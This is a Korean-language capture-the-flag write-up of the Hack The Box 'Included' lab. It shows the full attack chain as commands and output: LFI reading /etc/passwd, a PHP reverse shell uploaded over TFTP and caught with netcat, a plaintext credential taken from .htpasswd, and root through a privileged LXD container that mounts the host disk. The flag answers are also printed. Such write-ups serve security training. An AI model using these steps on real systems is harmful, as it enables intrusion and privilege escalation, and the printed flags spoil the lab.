Season 1/워게임

[Starting Point] TIER 1 - Included

작성자 - LRTK
$ sudo nmap -sU -p- -T5 --open <공격 타겟의 IP 주소>

nmap 옵션 설명

  • -sU: UDP 스캔을 수행하는 옵션. 이는 대상 시스템의 UDP 포트를 탐색합니다.
  • -p-: 모든 포트(1부터 65535까지)를 스캔하겠다는 옵션. 이는 가능한 모든 포트를 대상으로 스캔합니다
  • -T5: 스캔 타이밍을 설정하는 옵션. 0부터 5까지 설정할 수 있으며, 숫자가 높을수록 스캔 속도가 빨라지지만, 네트워크 부하와 탐지 가능성이 증가합니다.
  • --open: 열려 있는 포트만 결과에 표시하라는 옵션. 이는 스캔 결과에서 열려 있는 포트만 보여줍니다.

정답: TFTP

 

LFI 취약점이란?
공격자가 웹 서버의 로컬 파일을 불러오거나 포함시킬 수 있게 하는 취약점을 의미함.
이러한 취약점은 웹 애플리케이션이 사용자의 입력을 적절하게 필터링하거나 검증하지 않을 때 발생할 수 있습니다.

정답: Local File Inclusion

 

Modify Permissions on TFTP Root Directory
The root directory where files must be stored in order to access them via TFTP is /var/lib/tftpboot. If you want to be able to upload to that directory, then perform the following command.

sudo chown -R tftp /var/lib/tftpboot

https://help.ubuntu.com/community/TFTP 사이트 내용 참고

정답: /var/lib/tftpboot/

 

.htpasswd 이란?
웹 서버에서 기본 인증을 제공하기 위해 사용되는 파일임. 주로 Apache 웹 서버에서 사용되며, 특정 디렉토리에 대한 사용자 접근을 제어하는 데 사용됨.
이 파일에는 사용자 이름과 해당 사용자의 비밀번호 (일반적으로 해시된 형태로)가 저장됨.

웹 서버 관리자는 .htpasswd 파일과 .htaccess 파일을 함께 사용하여 특정 웹 디렉토리에 대한 접근을 제한할 수 있음.

정답: .htpasswd

 

LXD이란?
리눅스 운영 체제를 위한 가상화 관리 도구로, 리눅스 컨테이너를 쉽고 효율적으로 관리할 수 있게 해줌.
이는 가볍고 빠르며, 가상 머신과 유사한 기능을 제공하지만 컨테이너 기반으로 작동하여 자원 사용이 효율적임.

정답: lxd

 

정답: Alpine

 

Privileged containers
f you want to set up a privileged container, you must provide the config key security.privileged=true.
Either during container creation:

$ lxc launch ubuntu:20.04 ubuntu -c security.privileged=true

https://ubuntu.com/server/docs/containers-lxd 사이트 내용 참고
https://wiki.archlinux.org/title/LXD 사이트 내용 참고

정답: security.privileged=true

 

정답: /mnt/root/

 

$ nmap -sC -sV -p- -T5 --open 10.129.179.35 Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-12 06:46 GMT Nmap scan report for 10.129.179.35 Host is up (0.25s latency). Not shown: 58760 closed tcp ports (conn-refused), 6774 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-title: Site doesn't have a title (text/html; charset=UTF-8). |_Requested resource was http://10.129.179.35/?file=home.php |_http-server-header: Apache/2.4.29 (Ubuntu) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 358.92 seconds

nmap를 통해 공격 타겟에서 웹 서버가 동작함을 확인 할 수 있었다.
또한 http://10.129.179.35/?file=home.php의 형태를 확인해보니, LFI 취약점을 가지고 있을 것이라 추측하였다.

 

$ curl http://10.129.179.35/.htpasswd <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at 10.129.179.35 Port 80</address> </body></html>

이 밖에 apache 서버를 사용한다는 점과 .htpasswd를 요청 시 403 상태코드가 반환된다는 점에서 .htaccess를 통해 접근 제어를 하고 있다는 것을 알 수 있었다.

 

$ curl http://10.129.179.35/?file=/etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false mike:x:1000:1000:mike:/home/mike:/bin/bash tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin

curl를 통해 LFI 취약점을 공격한 결과, /etc/passwd의 데이터를 가져올 수 있었다.
여러 계정 중 lxd, tftp 계정이 존재함을 확인 할 수 있었다.

 

또한 /bin/bash를 사용하는 계정은 root 계정과 mike 계정만 사용하는 것을 확인할 수 있었다.
이는 mike 계정의 홈 디렉터리인 /home/mikeuser.txt 파일이 존재하는 가능성이 있다는 것이다.

 

$ip = '<자신의 IP 주소(tun0)>'; // CHANGE THIS $port = 1234; // CHANGE THIS

https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php 에서 PHP 리버스쉘을 다운로드하여, vim를 통해 코드 수정을 한다.

 

글쓴이의 경우, VPN를 이용하여 사용하고 있으므로 tun0의 IP 주소으로 ip 변수의 값을 수정하였다.

 

$ sudo apt install tftp -y $ tftp 10.129.179.35 tftp> put shell.php tftp> quit

수정 후 tftp를 통해 웹쉘을 업로드 하였다.

 

$ curl http://10.129.179.35/?file=/var/lib/tftpboot/shell.php & nc -lvp 1234 [16] 85290 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 10.129.179.35. Ncat: Connection from 10.129.179.35:36176. Linux included 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 07:39:38 up 2:58, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $

netcat으로 통신할 서버를 열어주고, curl로 LFI 취약점을 이용하여 웹쉘을 동작시켰다.

 

$ cd /var/www/html $ ls -al .htpasswd -rw-r--r-- 1 www-data www-data 17 Apr 23 2021 .htpasswd $ cat .htpasswd mike:Sheffield19

.htpasswd에서 mike 계정의 비밀번호가 평문으로 저장되는 것을 확인 할 수 있었다.

 

$ su mike su: must be run from a terminal $ python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@included:/$ su mike su mike Password: Sheffield19 mike@included:/$ mike@included:/$ id id uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)

기존 웹쉘에서 동작한 /bin/sh에선 su 명령어가 먹히지 않은 것을 확인할 수 있었다. 이는 su 명령어의 경우 TTY세션 환경에서 동작이 가능한데, netcat은 그렇지 않기 때문이다. 때문에 pythonpty를 이용하여 tty 세션으로 /bin/bash를 동작하여 su 명령어를 사용할 수 있는 환경을 마련해야한다.

 

mike@included:/$ cat ~/user.txt cat ~/user.txt a56ef91d70cfbf2cdb8f454c006935a1

mike 계정으로 /bin/bash 실행 후, 홈 디렉터리에 존재하는 user.txt를 읽으면 user flag를 획득 할 수 있다.

 

mike@included:/$ id uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)

리버스쉘을 통해 mike 계정에 접근할 수 있었다. 이제 root 권한으로 상승하여, root flag 파일을 읽어야 한다.

현재 mike 계정은 lxd 그룹에 속해져 있다. 즉, lxd를 사용할 수 있는 권한이 존재한다는 것이다.

Local 환경

HackTricks에서 lxd의 권한 상승 공격 방법에 대한 자세한 내용이 작성되어 있었다.
내용은 root 권한으로 동작하는 컨테이너에 / 디렉터리를 마운트 후, 접근 시 관리자 권한으로 동작한다는 것이다.

 

취약점을 이용하기 위해, 여러 도구와 코드를 다운로드해야 한다. 하지만, mike 계정의 권한에선 인터넷 접근이 막혀 있어서, 로컬 환경에서 컨테이너 이미지를 준비하고 공격 타겟의 환경에서 빌드를 시켜야 한다.

$ sudo apt update $ sudo apt install -y git debootstrap rsync gpg squashfs-tools

lxc 이미지 생성에 필요한 라이브러리를 설치한다.

$ wget https://go.dev/dl/go1.21.5.linux-amd64.tar.gz $ sudo tar -C /usr/local -xzf go1.20.linux-amd64.tar.gz $ export PATH=$PATH:/usr/local/go/bin $ source ~/.profile

이미지 생성 도구인 distrobuilder은 golang 1.20 버전 이상에서 동작하는 제한 조건을 가지고 있다.
때문에, 별도로 golang 홈페이지에서 설치파일을 다운로드하여 설치를 진행해야 한다.

$ git clone https://github.com/lxc/distrobuilder $ cd distrobuilder $ make $ mkdir -p $HOME/ContainerImages/alpine/ $ cd $HOME/ContainerImages/alpine/ $ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml $ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
$ ls -al total 3040 drwxr-xr-x 2 htb-lrtk htb-lrtk 4096 Dec 13 01:54 . drwxr-xr-x 3 htb-lrtk htb-lrtk 4096 Dec 13 01:54 .. -rw-r--r-- 1 htb-lrtk htb-lrtk 15903 Dec 13 01:54 alpine.yaml -rw-r--r-- 1 root root 868 Dec 13 01:54 incus.tar.xz -rw-r--r-- 1 root root 3084288 Dec 13 01:54 rootfs.squashfs

incus.tar.xz와 rootfs.squashfs의 역할

  • incus.tar.xz : 컨테이너 이미지의 메타데이터를 포함하는 파일임. 컨테이너 이미지 정보, 설정, 구성 스크립트 등이 포함됨.
  • rootfs.squashfs : 컨테이너의 root filesystem을 포함하는 파일임. SquashFS는 읽기 전용 파일 시스템으로, 고압축 비율과 빠른 속도를 제공하기 위해 설계됨.

sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 명령을 통해 alpine 리눅스 3.18 버전의 이미지를 생성하였다.


생성된 incus.tar.xzrootfs.squashfs파일을 공격 타겟의 서버에 옮긴 후 컨테이너를 생성해야 한다.

$ python3 -m http.server 8000

생성된 2개의 파일을 공격 타겟 서버에 전달하기 위해서 파이썬을 이용하여 웹서버를 동작시켰다.

Attack Target 환경
mike@included:/$ cd ~ mike@included:/$ wget 10.10.14.67:8000/incus.tar.xz mike@included:/$ wget 10.10.14.67:8000/rootfs.squashfs mike@included:~$ ls incus.tar.xz rootfs.squashfs user.txt

리버스쉘로 접근한 공격 타겟의 환경에서 wget 명령을 통해 컨테이너 이미지 파일을 다운로드 한다.

$ lxc image import incus.tar.xz rootfs.squashfs --alias alpine $ ixc image list +--------+--------------+--------+-----------------------------------------+--------+--------+------------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE | +--------+--------------+--------+-----------------------------------------+--------+--------+------------------------------+ | alpine | 9dbca76ebaf2 | no | Alpinelinux 3.18 x86_64 (20231213_0154) | x86_64 | 2.94MB | Dec 13, 2023 at 2:10am (UTC) | +--------+--------------+--------+-----------------------------------------+--------+--------+------------------------------+

이미지 파일을 이용하여 lxc에 컨테이너 이미지를 생성한다.

mike@included:~$ lxc init alpine lrtk -c security.privileged=true Creating lrkt mike@included:~$ lxc list +------+---------+------+------+------------+-----------+ | NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS | +------+---------+------+------+------------+-----------+ | lrtk | STOPPED | | | PERSISTENT | 0 | +------+---------+------+------+------------+-----------+ mike@included:~$ lxc config device add lrtk host-root disk source=/ path=/mnt/root recursive=true Device host-root added to lrtk

lrtk이라는 이름을 가진 컨테이너를 생성하였다.
이 때, 권한 상승을 위해서 security.privileged=true을 통해 컨테이너가 root 권한을 가지도록 설정한다.

mike@included:~$ lxc start lrtk mike@included:~$ lxc list +------+---------+----------------------+-----------------------------------------------+------------+-----------+ | NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS | +------+---------+----------------------+-----------------------------------------------+------------+-----------+ | lrtk | RUNNING | 10.124.177.75 (eth0) | fd42:eff6:712f:c3a0:216:3eff:febd:f93f (eth0) | PERSISTENT | 0 | +------+---------+----------------------+-----------------------------------------------+------------+-----------+ mike@included:~$ lxc exec lrtk /bin/sh lxc exec lrtk /bin/sh ~ #

lrtk 컨테이너를 동작 후, lxc exec lrtk /bin/sh를 통해 lrtk 컨테이너의 shell를 동작 시킨다.

~ # id uid=0(root) gid=0(root) ~ # ls -al /mnt/root/root total 40 drwx------ 7 root root 4096 Apr 23 2021 . drwxr-xr-x 24 root root 4096 Oct 11 2021 .. lrwxrwxrwx 1 root root 9 Mar 11 2020 .bash_history -> /dev/null -rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc drwx------ 2 root root 4096 Apr 23 2021 .cache drwxr-x--- 3 root root 4096 Mar 11 2020 .config drwx------ 3 root root 4096 Apr 23 2021 .gnupg drwxr-xr-x 3 root root 4096 Mar 5 2020 .local -rw-r--r-- 1 root root 148 Aug 17 2015 .profile drwx------ 2 root root 4096 Apr 23 2021 .ssh -r-------- 1 root root 33 Mar 9 2020 root.txt ~ # cat /mnt/root/root/root.txt c693d9c7499d9f572ee375d4c14c7bcf

root 권한으로 동작하는 것을 확인 후 mount된 공격 타겟의 root filesystem에 접근하여 root flag 파일을 읽었다.

정답: c693d9c7499d9f572ee375d4c14c7bcf

이 글이 도움이 되었다면, 응원의 댓글 부탁드립니다.